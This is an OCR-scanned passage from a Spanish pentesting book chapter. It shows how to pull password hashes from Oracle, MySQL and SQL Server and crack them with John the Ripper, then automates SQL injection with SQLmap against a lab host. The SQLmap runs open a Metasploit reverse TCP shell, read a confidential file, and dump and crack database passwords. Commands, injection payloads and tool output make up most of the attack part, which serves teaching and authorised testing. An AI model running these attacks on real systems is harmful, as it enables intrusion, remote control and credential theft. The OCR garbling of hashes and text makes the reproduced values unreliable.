algoritmo basado en DES, mientras que ésta utiliza SHA-I. La columna spare4 de la tabla
sys.user$ almacena este valor:

SQL> select name,password, spare4 from sys.user$ where name ='SYSTEM";

NAME PASSWORD

SPARE4

SYSTEM 70DE104D69CES5503
S:E0387FOFAG0E7CADDDE31C03029B57F2683C7BE972EACOB1E34B5SEA72FBF

Lo hashes SHA-I son calculados mediante el siguiente algoritmo:

- Sedetermina una secuencia de 10 bytes para usar como salt.
- Se concatena la contrasefia con la salt (contraseiia || salt)
- Se calcula el hash del resultado obtenido en el paso anterior.

- La salt se almacena en substr(spare4,43,20), usando condificacion hexadecimal

- El hash obtenido se almacena en substr(spare4,3.40)

Ademas, también puede encontrarse los antiguos hashes DES, calculados a partir de la contrasefia
EN MAYUSCULAS en el campo password de la mencionada tabla.

Son varios los programas que aprovechan esta informacion para descifrar las contrasefias. Entre
ellos, no podia faltar el conocido John the ripper, que dispone de un parche para estos menesteres:

rootEht :

oraclell pass
Z passuord hashes with 2 different salts (Oracle 11g
(PRUEBA)

[oraclelll)

Fig 4.16: John
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Algunas alternativas disponen de una interfaz grafica, como OrakelCrackert (http://rhc.org/,h&
orakelcrackertl1/) que aprovecha la informacion del hash DES para optimizar el proceso:

Fl OrakelCrackert11g, an Oracle tool by vonJeek
Ciacker | Readme |
~Cta A s —
| EEREER USEANAME 17
[tre1nsmssarsazan OLDSK3WL HASH Lagitssa)
| |611088788788CFB4BAFEDI263462CoE7R39F6AES0CASA0ZCER1B1CE0B3FF | SPARES HASH _g.m ‘_’z‘::“d’ ] hl
) PASSWORD (UPPERCASE] ¥ dictionary '

e PASSWORD (MIXED CASE) W ibusloce oo || ol

FERFORMING PASSWORD GUZSSING:

Password = username attack...

1l pass in 0 ms.

Diczionary attack...

1540837 passes in 3278 ms (~470.341/3).
Bruteforce attack...

203145 passes in 200 ma (~1,01067Eé/s).
BIKGD the uppercase password is "THCE".
Finding password case_._._

BINGO mixed case password iz “tHCg"™.
Finished.

PERFORMING PASSWORD GUESSING:

[LEE ) : Tiiea|

Fig 4.17: OrakelCrackert

De igual forma en MySQL la informacion sobre las contrasefias se encuentra en la tabla mysql.user

mysgl> select host,user,password from mysql.user;

e e e -— #
| host | user | password |
e —————— P ———— e e e e e — —— — ——————— +
| localhost | root | *23AE809DDACAFS6AFOFDTBEDO4RGRAZE5E05AA257 |
| Ubuntu-1 | root | *23AE809DDACAFScAFOFDT78EDO4BGAZ65E05ARA25T |
| 127.0.0.1 | root | *23RE809DDACAFS6AFOFDT7BEDO4BRGRAZR5E05AA257 |
| localhost | debian-sys-maint | *0351FFF99A06E991DCEA5FIEINETO6C0O526116A1 |
| localhost | phpmyadmin | *BBCBZED034399316B2AEB04BEQY0F03564CACITE |
| localhost | username | *23AEB09DDACAF96AFOFD7BEDO4BRGA265E05AR25T |
| localhost | uu | *Z3AEB09DDACAFS6AFOFDTEEDO4B6A265E05AA257 |
| localhost | uuu | *23REB09DDACAFS6AFOFD7E8EDO4B6A265E05AR257 |
| localhost | evil | *23AE809DDACAFS6AFOFDTEEDO4BGRA265E05AA257 |
| % | root | *23RE809DDACAFS6AFOFDTEEDC4BGA265E05RA257 |
| 192.168.56.103 | root | *23AEB09DDACAFI96AFOFDTBEDO4BGR265E05AR257 |
+

s i e i e i R e e

___________________________________________ +

11 rows in set (0.06 sec)
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y, para descifrarlas, de nuevo, puede usarse John the ripper

DDACAFI6AFOFDYBEDO4B6
# john

L 4.1 double-SHA-1 [mysql

(root)
Fig 4.18: John

... 0, a veces, basta con una bisqueda en Google o Bing:

wp-ecx|Ra fofdrBed.. * |

‘ Goc nge 23AEB08DDACAF96AFOFD78EDO4BEA265E05AA257

BU5queda Aproximadaments 3 330 resultados {

Sugerencia: Buscar sélo resultados en espanol. Puede especificar el idioma d

Tedo biisqueda en Preferencias
Imédgenes ) _ )
Free Rainbow Tables | Forum * View topic - mysglshai_numeric#
Maps wenw freerainbowtables com/ wviewtopic php? - Traducir esta pagina
. 7 entradas - 4 autores - Ultima entrada 26 Ene 2010
Vidads wait, wif? mysql vo.x({FE) = ) |
Mndicine 23aeB09ddacaf96af0fd78:0104b6a265e05aa257 /insidepro cain and abel -
ki m . L 1
l: ' " 33 H128% v ],

Fig 4.19: Google

Finalmente, SOL Server dispone de la tabla sql_logins:

Lselecl name, password_hash from master.sys.sql_logins;

’§QLQuerv1.sqI ..istrador (52))* |
select name, password hash from master.

|| X

3 Resutados ] 3 Mensajes |

name | password_hash |
53 | <0100105FEB563CT0AE 16F6F661EEBEFFABDIA28I673551E90FCA
HHMS. PolicyEventProcessinglogin®¥  (x01007B8AF05908E7ABABSCAEF 15ES0ASFSDEB7544DB146500FFD
#5MS_PoicyTsqlExecutionlogind#t  (x01004004FF8173D1399C 1BADB73926A8 10E7D593C52B8662AFFA
tester (<01007742BC53A7153607FE736C SBF6334BF9114F92C8851105AE

F R LS

Fig 4.20: SQL Server
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... y las contrasefias pueden obtenerse a partir de sus respectivos hashes, una vez mas, mediante
John the ripper:

## cat passmss
01007742BC53A7153607FE?36C5BFE
#t john —forna
)5 [ms—-sql0S

Loaded 1 password hash (MS

Fig 4.21: John

4. Automatizando con SQLmap

A lo largo de este capitulo se han ido presentando diversas técnicas con las que ejecutar
aplicaciones, utilizar ficheros y obtener las contrasefias de acceso a la base de datos. Como el
lector habra podido comprobar, la forma en que se puede realizar este tipo de operaciones depende
en gran medida del sistema de gestion de bases de datos utilizados y pueden presentarse diversas
incidencias que requeriran de especial atencion por parte del atacante.

Son muchos los condicionantes a tener en cuenta y, por tanto, muchas las posibilidades de cometer

un error. Y componer las URLs necesarias y solicitarlas al servidor puede ser una tarea larga y
tediosa.

Por esta razon, no falta quien realiza programas con que automatizar este trabajo. Uno de los més
relevantes y que proporciona un mayor nimero de caracteristicas es SQLmap, desarrollado por
Bernardo Damele en colaboracion con Miroslav Stampar y disponible en la direccion:
http:/isqlmap.sourceforge.net

Se trata de una herramienta para linea de comandos escrita en Python que utiliza un amplio
abanico de técnicas para detectar y explotar vulnerabilidades SQL Injection. Las posibilidades que
ofrece son enormes y las opciones de configuracion numerosas. Puede obtenerse un repertorio de
ellas introduciendo la siguiente orden:

/sqlmap.py --help J

S.m embargo, lo més habitual es que solo haya que usar algunas de ellas, como se mostrara en los
siguientes ejemplos

4.1.Ejecucion de comandos

Existen varias formas de ejecutar aplicaciones en el servidor de bases de datos usando SQLmap.
De ellas, en este apartado se mostrard como obtener un intérprete de comandos remoto
aprovechando las funcionalidades de Metasploit Framework (htip.//www.metasploit.com).
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Ambas herramientas deben encontrarse instaladas en la maquina que del atacante. Una forma de
asegurarlo es usar una distribucion de Linux que incluya ambas, como BackTrack
(http:/fwww.backtrack-linux.org).

Para comenzar, se ejecutard la siguiente instruccion:

@lmap.py -u http://webserverl/pruebas/producto.php?id=1 --os-pwn

... donde la opcién “-u http://webserverl/pruebas/producto?id=1" proporciona al programa una
URL vulnerable y “--os-pwn” le ordena que proporcione acceso a la interfaz de usuario del sistema
operativo del servidor de bases de datos.

SQLmap se pondra a trabajar y mostrara bastante informacion sobre qué hace en cada momento y
qué encuentra. En los siguientes cuadros, se mostrara en negrita y subrayado el texto introducido
por el atacante y con tipografia normal la salida del programa:

root@bt:/pentest/database/sglmap# ./sglmap.py -u
http://webserverl/pruebas/producto.php?id=1 --os-pwn

sqlmap/1.0-dev (r4009) - automatic SQL injection and database
takeover tool
http://sglmap.sourceforge.net

[!] Legal Disclaimer: usage of sglmap for attacking web servers without
prior mutual consent can be considered as an illegal activity. it is the
final user's responsibility to obey all applicable local, state and
federal laws. authors assume no liability and are not responsible for
any misuse or damage caused by this program.

[*] starting at: 00:11:28

[00:11:28] [WARNING] you did not provide the local path where Metasploit
Framework 3 is installed

[00:11:28] [WARNING] sglmap is going to look for Metasploit Framework 3
installation into the environment paths

[00:11:28] [INFO] Metasploit Framework 3 has been found installed in the
'fusr/local/bin' path

[00:11:28] [INFO] using

' /pentest/database/sglmap/output/webserverl/session' as session file
[00:11:29] [INFO] testing connection to the target url

[00:11:29] [INFO] heuristics detected web page charset 'ascii'’

[00:11:29] [INFO] testing if the url is stable, wait a few seconds
[00:11:30] [INFQ] url is stable

D0:11:30) [INFO] testing if GET parameter 'id' is dynamic

00:11:30] [INFO] confirming that GET parameter 'id' is dynamic
00:11:30] [INFO] GET parameter 'id' is dynamic

00:11:30] [INFQO] heuristic test shows that GET parameter 'id' might be
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injectable (possible DBMS: Microsoft SQL Server)

[00:11:30] [INFO] testing sgl injection on GET parameter 'id'

[00:11:30] [INFO] testing 'AND boclean-based blind - WHERE or HAVING
clause'

[00:11:30] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable

parsed error message(s) showed that the back-end DBMS could be Microsoft
SQL Server. Do you want to skip test payloads specific for other DBMSes?
[Y/n]

De forma automatica, SOLmap ha detectado una vulnerabilidad en el parametro GET “id” y ha
determinado el motor de bases de datos utilizado. En este caso, SQL Server. Como puede
observarse, lo ha hecho usando técnicas de SQOL [njection basadas en mensajes de error (se
activaron en esta prueba para que el proceso fuera mas rapido). De todos modos, SOLmap soporta
otros muchos métodos, como se vera a continuacion. El programa esta preguntando si, puesto que
se ha determinado que se estda utilizando SQL Server, se desea omitir las comprobaciones
especificas para otros gestores de bases de datos. La opcion por defecto es que si (“Y™), por lo que
basta con pulsar Intro y dejar que prosiga el proceso:

[00:11:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based -
WHERE or HAVING clause'

[00:11:35] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase AND
error-based - WHERE or HAVING clause' injectable

[00:11:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:11:45] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase
stacked queries' injectable

[00:11:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:11:55] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase
time-based blind' injectable

[00:11:55] [INFOQ] testing 'Generic UNION gquery (NULL) - 1 to 10 columns'
[00:11:55] [INFQO] target url appears to be UNION injectable with 4
columns

[00:11:55] [WARNING] combined UNION/ERROR SQL injection case found on
column 4. sglmap will try to find another ceclumn with better
characteristics

[00:11:56] [WARNING] combined UNION/ERROR SQL injection case found on
column 1. sglmap will try to find another column with better
characteristics

[00:11:56] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1
to 10 columns' injectable

GET parameter 'id' is wvulnerable. Do you want to keep testing the
others? [y/N]

Tras realizar varias pruebas, se confirma que el parametro “id” es vulnerable y se determina que 12
consulta ejecutada por la aplicacion retorna cuatro columnas y que es posible emplear técnicas de
SQL Injection que muestren informacion usando el operador “UNION”, Blind SQL Injection,

'[00:12:08] [INFO] the back-end DBMS is Microsoft SQL Server

]
(=]
9
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Time Based SQL Injection y que se pueden apilar consultas. Al final se pregunta si se desea probar
otros parametros GET que pudieran existir en la URL. De nuevo, con Intro, se acepta la opcion
predeterminada (“No™).

SQL muestra detalles acerca de la vulnerabilidad encontrada, las formas de explotarla y el motor
de bases de datos detectado. En cuanto respecta al servidor web, se informa acerca de su sistema
operativo, el servicio de publicacion HTTP utilizado y el entorno en que se ejecuta la aplicacion:

sglmap identified the following injecticn points with a total of 26
HTTP (s) reguests:
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3993=3993
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause
Payload: id=1 AND
6697=CONVERT (INT, (CHAR(58)+CHAR (97)+CHAR(103)+CHAR{113)+CHAR(58) + (SELECT
(CASE WHEN (6697=6697) THEN CHAR(49) ELSE CHAR (48)
END) ) +CHAR (58) +CHAR(107) +CHAR (105) +CHAR (120) +CHAR (58) ) )

Type: UNION query

Title: Generic UNION query (NULL) - 1 to 10 columns

Payload: id=1 UNION ALL SELECT
CHAR (58) +CHAR (97) +CHAR(103) +CHAR(113) +CHAR (58) +CHAR (109) +CHAR (85) +CHAR (10
1) +CHAR(88) +CHAR (87) +CHAR (106) +CHAR (83) +CHAR (74) +CHAR (82) +CHAR (87) +CHAR (5
8) +CHAR(107)+CHAR(105) +CHAR (120) +CHAR (58) , NULL, NULL, NULL--

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5';--

Type: BND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--

[00:12:07] [INFO] manual usage of GET payloads requires url encoding
[00:12:07] [INFO] testing Microsoft SQL Server
[00:12:07] [INFO] confirming Microsoft SQL Server

web server operating system: Linux Ubuntu 11.04 (Natty Narwhal)
Wweb application technelogy: PHP 5.3.5, Apache 2.2.17
back-end DBMS: Microsoft SQL Server 2008
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Terminada la fase de deteccion, comienza la de explotacion. En primer lugar, se solicitarg
informacion acerca de cémo se desea establecer el tunel de comunicacion con la victima.,

How do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling

>

Tras aceptar la opcion por defecto (Metasploit), SQLmap comprobara si es posible utilizar el
procedimiento extendido “xp_cmdshell”. Al no estarlo, preguntara al usuario si se desea intentar
activarlo, a lo cual se responde afirmativamente.

[00:12:18] [INFO] testing if current user is DBA

[00:12:18] [INFQ] checking if xp cmdshell extended procedure is
available, please wait..

xp_cmdshell extended procedure does not seem to be available. Do you
want sglmap to try to re-enable it? [Y/n]

[00:12:31] [INFO] xp cmdshell re-enabled successfully

[00:12:31] [INFQ] creating Metasploit Framework 3 multi-stage shellcode

Las siguientes cuestiones seran relativas al tipo de conexion a establecer (se seleccionara una
conexion reversa TCP), qué tipo de interfaz se dese (una Shell, para lo que serd necesario
especificar la opcion 2 - este serd el Unico paso en el que no se seguirdan las opciones
predeterminadas) y la arquitectura de la maquina objetivo (32 bits):

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine
(default)

[2] Reverse TCP: Try to connect back from the database host to this
machine, on all ports between the specified and 65535

[3] Bind TCP: Listen on the database host for a connection

>

which is the lcocal address? [192.168,56.222]

which local port number do you want to use? [11061]

which payload do you want to use?

[1] Meterpreter (default)

[2] Shell

[3] VNC

> 2

[00:12:40] [INFO] creation in progress ........ done

what is the back-end database management system architecture?

[1] 32-bit (default)

[2] 64-bit

>

SQLmap crea en el servidor un programa con el payload seleccionado y ejecuta la interfaz de linea
de comandos de Metasploit de forma automdtica. Al atacante solo le queda esperar...
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[00:12:50] [INFO] uploading shellcodeexec to
'C:/WINDOWS/Temp/shellcodeexec.x32.exe’

[00:12:58] [INFO] running Metasploit Framework 3 command line interface
locally, please wait..

METASPLOIT CYBER MISSILE COMMAND V4

\ / /
N / /
b
A / /
\ / + /
A\ + / /
* / /
/ /
b4 / / X
/ FHH
/ 5 4
/ #H4
/
/ *
/
+ *
FhE4 n - o FhEFEEE o - -
fH##
fHdE / N/ N/ \ degdEpedEe / N/ N/ \
#HA
AEBHEE RS E B A A A AR A A AR R R AR R R R AR A
AR EE:
BREEF A AR AR R R R A AR A AR AR R R A R A A A A A R R
Fhiddes

4 WAVE 4 44444#%% SCORE 31337 ###+#+#+444 4444445484844 #44445444 HIGH
FEFFFFEF #

B e s I T RS S E R R R R R R R R R R R R R R R i
HEfRdHE

=[ metasploit v4.0.0-release [core:4.0 api:1.0]

+ —— ——=[ 716 exploits - 361 auxiliary - 68 post
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+ == ==-=[ 226 payloads - 27 encoders - 8 nops
=[ svn rl13462 updated 142 days ago (2011.08.01)

Warning: This copy of the Metasploit Framework was last updated 142 days
ago.
We recommend that you update the framework at least every other
day .
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306

PAYLOAD => windows/shell/reverse tcp

EXITFUNC => process B

LPORT => 11061

LHOST => 192.168.56.222

[*] Started reverse handler on 192.168.56.222:11061

[*] Starting the payload handler...

[00:13:12] [INFO] running Metasploit Framework 3 shellcode remotely via
shellcodeexec, please wait..

[*] Sending stage (240 bytes) to 192.168.56.103

[*] Command shell session 1 opened (182.168.56.222:11061 ->
192.168.56.103:49163) at 2011-12-21 00:13:13 +0100

Microsoft Windows [Versiigisn 6.0.6001]

Copyright (c) 2006 Micrecsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>whoami
nt authority\servicio de red

C:\Windows\system32>

... y al final aparece un intérprete de comandos de Windows. Mediante €I, el atacante podra
interactuar con el sistema operativo del servidor de bases de datos. La primera instruccion,
“whoami” la ejecuta SQLmap para informar acerca de la cuenta con la que se esta accediendo. NT
AUTHORITY\Servicio de red.

Y a partir de ahi, el atacante tiene posibilidad de introducir los que necesite:

C:\Windows\system32>ed \
cd N\
C:\>dir
dir
El volumen de la unidad C no tiene etiqueta.
El nigmerc de serie del volumen es: C093-AC44

Directorio de C:\

18/09/2006 22:43 24 autoexec.bat

W
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18/09/2006 22:43 10 config.sys

19/01/2008 10:40 <DIR> Perflogs
20/12/2011 22:41 <DIR> Program Files
20/12/2011 23:39 <DIR> prueba
20/12/2011 15:26 <DIR> Users
20/12/2011 22:03 <DIR> Windows

2 archivos 34 bytes

5 dirs 12.202.479.616 bytes libres

Cih>

4.2. Archivos

Para acceder a ficheros, SQLmap dispone de opciones como “--file-read” y “--file-write”. El
siguiente ejemplo muestra como obtener un fichero del servidor:

root@bt:/pentest/database/sglmap# ./sglmap.py -u
http://webserverl/pruebas/producto.php?id=1 --file-
read="'c:\prueba\prueba.txt'

sglmap/l.0-dev (r4009) - automatic SQL injection and database
takeover tool
http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqglmap for attacking web servers without
lprior mutual consent can be considered as an illegal activity. it is the
final user's responsibility to obey all applicable local, state and
federal laws. authors assume no liability and are not responsible for any
misuse or damage caused by this program.

[*] starting at: 00:22:55

[00:22:55] [INFO] using
' /pentest/database/sqlmap/output/webserverl/session' as session file
[00:22:55] [INFO] resuming injection data from sessicn file
[00:22:55) [INFQ] resuming back-end DBMS 'microsoft sgl server 2008' from
session file
[00:22:55] [INFQO] resuming remote absolute path of temporary files
directory 'C:/WINDOWS/Temp' from session file
[00:22:55] [INFQ] resuming xp_cmdshell availability
[00:22:55] [INFO] testing connection to the target url
[00:22:55] [INFO] heuristics detected web page charset 'ascii'
sglmap identified the following injection points with a total of 0
HTTP (s) requests:
Place: GET
Parameter: id

Type: boolean-based blind
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Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3993=3993

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause

Payload: id=1 AND
6697=CONVERT (INT, (CHAR (58) +CHAR (97) +CHAR (103) +CHAR (113) +CHAR (58) + (SELECT
(CASE WHEN (6687=6697) THEN CHAR(49) ELSE CHAR(48)
END) ) +CHAR (58) +CHAR (107) +CHAR (105) +CHAR (120) +CHAR (58) ) )

Type: UNION guery

Title: Generic UNION query (NULL) - 1 to 10 columns

Payload: id=1 UNION ALL SELECT
CHAR (58) +CHAR (97) +CHAR (103) +CHAR (113) +CHAR (58) +CHAR (109) +CHAR (85) +CHAR (10
l)+CHAR(88)+CHAR(87)+CHAR(106}+CHAR(83)+CHAR(74}+CHAR(82)+CHAR(8?)+CHAR(5
8) +CHAR (107) +CHAR (105) +CHAR (120) +CHAR (58) , NULL, NULL, NULL--

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5';--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'—-

[00:22:55] [INFO] manual usage of GET payloads requires url encoding
[00:22:55] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Linux Ubuntu 11.04 (Natty Narwhal)

web application technology: PHP 5.3.5, Bpache 2.2.17

back-end DBMS: Microsoft SQL Server 2008

[00:22:55] [INFO] fetching file: 'c:/prueba/prueba.txt’

[00:22:55] [WARNING] time-based comparison needs larger statistical
model. Making a few dummy requests, please wait..

[00:22:56] [INFO] the SQL query used returns 1 entries
c:/prueba/prueba.txt file saved to:
'/pentest/database/sqlmap/Output/webserverl/files/c__prueba prueba.txt’.

[00:22:56] [INFO] Fetched data logged to text files under
'/pentest/database/sqlmap/output/webserverl!

[*] shutting down at: 00:22:56

Lo primero que notara el usuario es que esta vez las pruebas iniciales duran mucho menos tiempo
que la vez anterior. Y es que SQLmap guarda en ficheros de sesion toda la informacién que va
recopilando sobre cada servidor. De ese modo puede reutilizarla en posteriores peticiones.
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Al final de su ejecucion, SQLmap indica la ruta local en la que se ha almacenado una copia del
archivo solicitado. Ya solo queda acceder a su contenido:

root@bt:/pentest/database/sglmap# cat
/pentest/database/sqglmap/output/webserverl/files/c_ prueba prueba.txt
Este fichero esti;* ubicado en el servidor de bases de datos

Contiene informaciig¥n confidencial

Y tiene tres li;%neas

root@bt:/pentest/database/sglmap#

4.3. Cuentas de usuario

Finalmente, se mostrara como obtener informacion sobre las cuentas de usuario y sus contrasefias.
Para lo primero se puede utilizar la opcion “--users”. SQLmap se encarga del resto:

root@bt:/pentest/database/sglmap# ./sglmap.py -u
http://webserverl/pruebas/producto.php?id=1 --users

sglmap/l.0-dev (r4009) - automatic SQL injection and database
takeover tool
http://sglmap.sourceforge.net

[!] Legal Disclaimer: usage of sglmap for attacking web servers without
prior mutual consent can be considered as an illegal activity. it is the
final user's responsibility to obey all applicable local, state and
federal laws. authors assume no liability and are not responsible for any
misuse or damage caused by this program.

[*] starting at: 00:14:58

[00:14:58] [INFO] using

' /pentest/database/sglmap/output/webserverl/session' as session file
[00:14:58] [INFQ]) resuming injection data from session file
[00:14:58] [INFQ] resuming back-end DBMS 'microsoft sql server 2008' from
session file

[00:14:58] [INFO] resuming remote absolute path of temporary files
directory 'C:/WINDOWS/Temp' from session file

[00:14:58] [INFO] resuming xp cmdshell availability

[00:14:58] [INFO] testing connection to the target url

[00:14:59] [INFQ] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0
HTTP (s} requests:

Place: GET

Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3993=38593
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Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause

Payload: id=1 AND
6697=CONVERT(INT,{CHAR(58)+CHAR(9T}+CHAR(103)+CHAR(113)+CHAR(58)+(SELECT
(CASE WHEN (6697=6697) THEN CHAR(49) ELSE CHAR(48)
END) ) +CHAR (58) +CHAR (107) +CHAR (105) +CHAR (120) +CHAR (58) ) )

Type: UNION gquery

Title: Generic UNION query (NULL) - 1 to 10 columns

Payload: id=1 UNION ALL SELECT
CHAR(SS)+CHAR(97}+CHAR(103}+CHAR(113)+CHAR(58)+CHAR{109)+CHAR{85}+CHAR(10
l)+CHAR(88)+CHAR(8?)+CHAR(106)+CHAR(83)+CHAR(?4)+CHAR(82}+CHRR(87)+CHAR(5
8)+CHAR(107)+CHAR{105)+CHAR(120)+CHAR(58), NULL, NULL, NULL--

Type: stacked gueries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5';--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0Q:0:5'--

[00:14:59] [INFO] manual usage of GET payloads requires url encoding
[00:14:59] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Linux Ubuntu 11.04 (Natty Narwhal)
web application technology: PHP 5,3.5, Apache 2.2.17

back-end DBMS: Microsoft SQL Server 2008

[00:14:59] [INFO] fetching database users

[00:14:59] [INFO] the SQL query used returns 4 entries
[00:14:59] [INFQ] retrieved: "tester"

[00:14:59] [INFQ] retrieved: "sa"

[00:14:59] [INFQ] retrieved: "##MS_PolicyTsglExecutionLogin##"
[00:14:59] [INFC] retrieved: "##MS_PolicyEventProcessingLogin##"
database management system users [4]:

[*] ##MS_PolicyEventProcessingLogin##

[*] ##MS_PolicyTsqlExecutionLogin$#

[*] sa

[*] tester

[00:14:59] [INFO] Fetched data logged to text files under
'/pentest/database/sglmap/output/webserverl’

[*] shutting down at: 00:14:59

Si se desea obtener también las contrasefias, se puede usar la opcion “~-passwords™:
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root@bt:/pentest/database/sqlmap# ./sglmap.py -u
http://webserverl/pruebas/producto.php?id=1 --passwords

sgqlmap/1.0-dev (r4009) - automatic SQL injection and database
takeover tool
http://sqglmap.sourceforge.net

[!] Legal Disclaimer: usage of sglmap for attacking web servers without
prior mutual consent can be considered as an illegal activity. it is the
final user's responsibility to obey all applicable local, state and
federal laws. authors assume no liability and are not responsible for any
misuse or damage caused by this program.

[*] starting at: 00:16:44

[00:16:44] [INFO] using

' /pentest/database/sqlmap/output/webserverl/session' as session file
[00:16:44] [INFO] resuming injection data from session file
[00:16:44] [INFO] resuming back-end DBMS 'microsoft sqgl server 2008' from
session file

[00:16:44] [INFO] resuming remote absolute path of temporary files
directory 'C:/WINDOWS/Temp' from session file

[00:16:44] [INFO] resuming xp_cmdshell availability

[00:16:44] [INFO] testing connection to the target url

[00:16:44] [INFO] heuristics detected web page charset 'ascii'
sglmap identified the following injection points with a total of 0
HTTP (s) regquests:

Place: GET

Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3993=3993

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause

Payload: id=1 AND
6697=CONVERT (INT, (CHAR (58)+CHAR (97) +CHAR (103) +CHAR (113) +CHAR (58) + (SELECT
(CASE WHEN (6697=6697) THEN CHAR(49) ELSE CHAR(48)
IEND) ) +CHAR (58) +CHAR(107) +CHAR (105) +CHAR (120) +CHAR (58) ) )
Type: UNION query
Title: Generic UNION query (NULL) - 1 to 10 columns
Payload: id=1 UNION ALL SELECT
CHAR (58) +CHAR (97) +CHAR (103) +CHAR (113) +CHAR (58) +CHAR (109) +CHAR (85) +CHAR (10
1) +CHAR (88)+CHAR (87) +CHAR(106) +CHAR (83) +CHAR (74) +CHAR (82) +CHAR (87) +CHAR (5
8)+CHAR (107) +CHAR (105) +CHAR(120) +CHAR (58) , NULL, NULL, NULL--
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Type: stacked gueries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY 'Q:0:5';--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5"--

[00:16:44] [INFO] manual usage of GET payloads requires url encoding
[00:16:44] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Linux Ubuntu 11.04 (Natty Narwhal)

web application techneology: PHP 5.3.5, Apache 2.2.17

back-end DBMS: Microsoft SQL Server 2008

[00:16:44] [INFQO] fetching database users password hashes

[00:16:44] [INFQ] read from file
'/pentest/database/sglmap/ocutput/webserverl/session': 4

[00:16:44] [INFO] the SQL query used returns 4 entries

[00:16:45] [INFQ] retrieved:
"tester","0x0100e3808870acedchedd488e12924a1d928011014de26a59794"
[00:16:45] [INFQ)] retrieved:
"sa","0x010015cf4dal?bl92cbedb4f697663eb3d2b0983936a045bb205"
[00:16:45] [INFC] retrieved:
"##MS_PolicyTsqglExecutionLogin##","0x0100e65da318bb9%8aa2f233460b5a817c9dl
8af774...do you want to use dictionary attack on retrieved password
hashes? [Y/n/q]l Y
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password hash: 0x0100e65da318bb98aa2£f233460b5a817c9d18af77497al192f4fd
header: 0x0100
salt: e65da3l8
mixedcase: bb%8aa2f233460b5aBl7¢9d18af77497a192£4fd

[*] sa [1]:
password hash: 0x010015cf4dal2bl92c6edb4f697663eb3d2b0983936a045bb205
header: 0x0100
zalt: 15cfddal
mixedcase: 2bl92chedb4fb97663eb3d2b0983936a045bb205

[*] tester [1]:
password hash: 0x0100e3908870acedcbedd488e129e4a1d928011014de26a55%794
header: 0x0100
salt: 3908870
mixedcase: acedcbedd488el129e4al1d928011014de26a59794
clear—-text password: 123

[00:17:25] [INFQO] Fetched data logged to text files under
'/pentest/database/sglmap/output/webserverl'

[*] shutting down at: 00:17:25

Una vez cargados los hashes de las contrasefias, SQLmap preguntard si se desea someterlas a un
ataque de diccionario para intentar descifrarlas. Si se responde que si, se solicitara la ruta del
fichero con la lista de palabras a probar y se intentard obtener las contrasefias una a una. La salida
del programa continta:

[00:16:54] [INFO] using hash method: 'mssgl passwd’
what's the dictionary's location?
[/pentest/database/sqlmap/txt/wordlist.txt]
[00:16:56] [INFO] loading dictionary from:
' /pentest/database/sglmap/txt/wordlist.txt’
do you want to use common password suffixes? (slow!) [y/N]
[00:17:01] [INFQ] starting dicticnary attack (mssgl passwd)
[00:17:25] [INFO] found: '123' for user: 'tester'
database management system users password hashes:
[*] ##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x010098500b5eb8c03c80bc2e377861c69c84564b1lc3dfd33c8ck
header: 0x0100
salt: 98500b5e
mixedcase: bB8c03cB80bc2e377861ch%cB84564ble3dfd33cBeb

[*] ##MS PolicyTsglExecutionLogin#4 [1]:

root@bt:/pentest/database/sglmap#

Como puede comprobarse, el usuario “tester” tenia una contrasefia muy débil (“123”) y SQLmap
fue capaz de obtenerla.

4.4. Conclusiones

El uso de herramientas automaticas simplifica enormemente el trabajo de un pentester y permite
acortar de forma dréstica los tiempos necesarios para llevar su trabajo a cabo. De este modo, el
profesional puede dedicar su tiempo a actividades que requieran de mayor cualificacion y aporten
mas valor a su cliente.

Cabe, por tanto, pensar que estos programas son imprescindibles (o casi) en la realizacion de un
test de penetracion. Pero, aunque lo fueran, no debe caerse en el error de considerarlos suficientes
para obtener un resultado idoneo. Las aplicaciones automaticas pueden producir falsos positivos.
